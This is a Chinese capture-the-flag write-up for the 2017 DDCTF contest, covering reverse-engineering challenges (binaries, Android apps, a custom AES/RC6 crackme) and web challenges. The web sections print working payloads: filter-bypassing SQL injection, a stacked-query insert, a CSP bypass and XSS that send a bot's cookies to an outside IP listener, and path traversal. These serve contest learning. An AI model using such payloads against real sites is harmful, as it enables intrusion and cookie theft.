0x00 前言
官方题目下载链接: http://sec.didichuxing.com/static/upload/attachment//article//20170608/1496941331468739866.zip
官方解答视频: http://v.youku.com/v_show/id_XMjgxOTkxNjQ4NA==.html?spm=a2h0k.8191407.0.0&from=s1.8-1-1.2 最近整理资料的时候,想起了当时DDCTF的事情,一直没有整理个writeup。今天我从当时发送题目writeup的邮件里面整理出来,记录一下。
客观来讲,题目质量很好,当时让我学习到了很多东西,真的值得好好做一做。嗯为滴滴打call
0x01 Hello
这题是Mac下的执行文件,但是不用动态调试。解题思路,先放到IDA中看看,发现核心函数为:
1 | int sub_100000CE0() |
逻辑很简单,先减2后XOR v2,就可以得到byte_100001040中的数据。不知v2,0-255都跑一遍,发现73比较有意义。
Python脚本为:
1 | __author__ = 'angelwhu' |
运行截图如下:
再用v2=73
跑一遍,最终获取flag~ flag: DDCTF-5943293119a845e9bbdbde5a369c1f50@didichuxing.com
0x02 Android easy
apk放在jeb中,得到关键的计算flag代码:
1 | static { |
把代码抠出来,写java代码跑一下:
1 | package basic; |
运行得到flag:
0x03 Evil.exe
首先将exe文件扔到ida中。大概行为分析有:
- 从www.ddctf.com下载x.jpg文件。实际上已经有了。
- 经过解密,然后运行其中的代码。
IDA中静态分析,关键函数为:
1.生成key
1 | int __cdecl sub_401740(int a1, unsigned __int64 a2) |
2.使用1中生成的key解密x.jpg中的内容。
1 | void __cdecl sub_401800(int a1, int a2, int a3, unsigned int a4) |
这两部分逻辑都很简单,使用python代码解密:
1 | __author__ = 'angelwhu' |
3.运行解密后的代码,看着像个shell。
1 | LPVOID __cdecl sub_401220(void *a1, SIZE_T dwSize) |
写个C代码,运行一下:
1 | #include <stdio.h> |
弹框得到flag~ 后面用OnlyDebug直接复制flag~ 得到flag:esp=0036F764, (ASCII "Key: DDCTF-abeb383bfd3140bfa25b78a2b74a8554@didichuxing.com")
0x04 panic
又是个Mac下的可执行文件,运用IDA加上经验做题~~
用ida打开文件,发现一处可疑字符: 按x
跟踪到如下代码: 很简单的异或操作,v31
不知道是多少,写个python遍历下:
1 | __author__ = 'angelwhu' |
顺利得到flag:
0x05 Inject
这是个注入题,很有技巧性,不过之前的比赛出现过~ 过滤了逗号,引号,空格等。关键有3处:
- 用%0A替代空格
- 用联合查询绕过逗号
- secret列名被过滤,也同时要用联合查询绕过。
一步步查询:
1 | http://118.190.134.8/t1/news.php?id=0 * ((SELECT )a (SELECT )b (SELECT )c (SELECT )d) |
secret被过滤,所以payload没有成功。
于是使用联合查询绕过secret过滤,并且使用offset替代逗号的limit。 完整的payload为:
1 | select i.4 from (select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d) union select * from news)i limit 1 offset 4; |
空格用%0A
代替,得到flag:
0x06 Android Normal
这是个简单的jni程序。jeb中发现代码:
1 | if(this.mFlagEntryView.getText().toString().equals(this.stringFromJNI())) { |
stringFromJNI()是个本地方法,因此只需要写个app调用即可。开发过jni程序的就能简单得到flag,关键代码(注意包名要一致)如下:
1 | package com.didictf.hellolibs; |
在MainActivity中调用即可:
1 | com.didictf.hellolibs.MainActivity test = new com.didictf.hellolibs.MainActivity(); |
得到flag:DDCTF-8329d0c453884d8997c6b38445af5d65@didichuxing.com
0x07 xss
到这个题目就是高级难度了,这个Web题目很新颖~~具体步骤如下:
1. 绕过CSP
页面设置了CSP防护:
1 | Content-Security-Policy: default-src 'self'; script-src 'self' |
网上搜一搜,可以查到用link预加载绕过CSP:
1 | gg<link rel="prefetch" href="http://121.42.175.111:2333/"> |
得到服务器bot的访问:
1 | Listening on [0.0.0.0] (family 0, port 2333) |
2. 执行自定义JavaScript代码
访问refer页面可以看到我发送过去的代码,这个页面可控。也可以绕过CSP的防护。引用我们的自定义js代码。
首先发送第一个请求:
1 | //gg<link rel="prefetch" href="http://121.42.175.111:2333/"> |
得到回复:
1 | Listening on [0.0.0.0] (family 0, port 2333) |
这个页面就注入了我们的获取cookie的js代码,然后再发送一个请求,引用这个页面的js代码即可。 发送:
1 | gg<script src="http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=dfa5cde6e37a9961c5de4b590596a40e"></script> |
得到Cookie:
1 | 114.215.24.14:56462 [200]: /xss/xss_new.php?cookie=hit=c2V0Y29va2llKCJmbGFnIiwgImZsYWd7eHh4eHh4eHh4eHh4eHh4eH0iLCB0aW1lKCkrMzYwMDAwMDAsICIvdDIvZjFhZ18xc19oM3IzIik7 |
解码得到:
1 | setcookie("flag", "flag{xxxxxxxxxxxxxxxx}", time()+36000000, "/t2/f1ag_1s_h3r3"); |
3. iframe获取子目录Cookie
如何获取子目录的Cookie,又是一个知识点,用iframe试试成功~~
1 | //<link rel="prefetch" href="http://121.42.175.111:2333/"> |
同样提交:
1 | <iframe src="/t2/f1ag_1s_h3r3"></iframe> |
得到flag:
1 | [Sat May 20 11:12:43 2017] 114.215.24.14:48038 [200]: /xss/xss_new.php?cookie=flag=flag%7BDDCTF-82b6ac5623b04c8f823d29fa73875c9c%40didichuxing.com%7D;%20hit=c2V0Y29va2llKCJmbGFnIiwgImZsYWd7eHh4eHh4eHh4eHh4eHh4eH0iLCB0aW1lKCkrMzYwMDAwMDAsICIvdDIvZjFhZ18xc19oM3IzIik7 |
0x08 crackme
这个逆向题目难度又提升了一个等级~ AES、RC4加密算法都上了,复习了下密码学的知识。 以前玩CTF,主要做web和pwn,这个题目很好地锻炼了我的逆向技术~~ 一步步调试学习,耐心就能做出来。
1. Misc部分
图像实际上为JPG格式,末尾有多余字符。是zlib压缩~ 分割文件:
1 | with open('crackme.png', 'rb') as f: |
获取zip文件:
1 | import zlib |
PK前面两个字节换成了KP。。。
密码通过之后的Hint猜到:
1 | >>> 0/0 |
2. Reverse部分
首先,通过IDA梳理下整体过程,关键加密流程代码为:
1 | memcpy(&v7, a2 + 6, 0x20u); //32位md5值放到v7中。 |
通过阅读反汇编代码,发现基本流程为:
- 首先将用户输入的注册码中32位变成大写,转换为16字节的数据。
- 使用
v17
前32位作为密钥,用类似RC6加密方式进行加密。得到新的16字节数据v263
。 - 使用
v17
共240位作为密钥,用类似AES
加密方式进行加密。得到新的16字节数据v6
。 - 将用户输入的用户名经过计算得到16字节数据
v261
。这部分直接用OD Dump出来。 - 比较
v6
和v261
,相等即可。
上面五个步骤中,用户名生成的v261
可以直接用OD获取。输入DDCTF-65f9
得到如下16字节数据:
1 | uint8_t target_hex[] = { 0xE8, 0xD8, 0xE2, 0xCE, 0xAF, 0x9D, 0xE0, 0x76, 0xA0, 0xF2, 0x11, 0xF5, 0xA1, 0x89, 0x53, 0x52 }; |
3. 类似AES解密部分
这时,需要逆向sub_409500
函数,获取v263
了。 通过阅读梳理,关键代码如下:
1 | int result; // eax@11 |
我把里面的几个函数名改了下,并且关键就是那这些变换过程:
- shift_rows_DD() 行移位
- boxTranslate() S盒替换
- xorKey() 与输入的key进行异或
- sub_409240() 列混淆
这时,有了加密后的HEX值和Key(IDA直接获取),就可以逆向算法了。参考AES源码,C语言解密代码如下:
1 | #include <stdint.h> |
以上代码,我调试了许久,注释部分为我用OD调试过程中的Dump出测试样例。
得到第一部分解密结果:
1 | {0xEBF0C8E3,0xF13FD27A,0x73D8C882,0x1849F483} |
4. 类似RC6解密部分
查找0xB7E15163
这个特殊值时,发现了RC6加密算法和这个特别相似,找了实现源码,参考写解密算法。
这部分有有两个函数:
1 | sub_40A090((int)&v264, (int)&v17, 0x20u); //生成加密密钥v264 |
第一个函数生成密钥部分,直接用OD将v264
值取出来。因此,只需要逆向sub_40A200
函数即可。通过阅读梳理,按照算法逆向即可。看着有些复杂,其关键部分只是几个循环左移和右移:
1 | B = *(_DWORD *)(data + 4); |
参考RC6算法实现,key从内存中Dump出来,写逆向算法代码:
1 | #include <stdio.h> |
计算得到最终flag:93c65c807c3800b15f3600d449c64692
~~
0x09 audit
这个Web题目当时没有做出来,记录下结束后复现的解题思路~ 首先这是个审计题目,有个test页面得到源码:
1 | http://118.190.82.72/test/function/get_defined_functions //这个php的特殊方法需要记住~ |
发现有show_source_code方法,得到源码:
1 | http://118.190.82.72/test/function/show_source_code |
发现可以执行多条SQL语句插入邀请码:
1 | http://118.190.82.72/main/like?id=1';insert codes(code)Values(1)%23 //插入邀请码 1 执行多条语句~~ |
最后通过目录穿越读取flag:
1 | POST http://118.190.82.72/user/planet |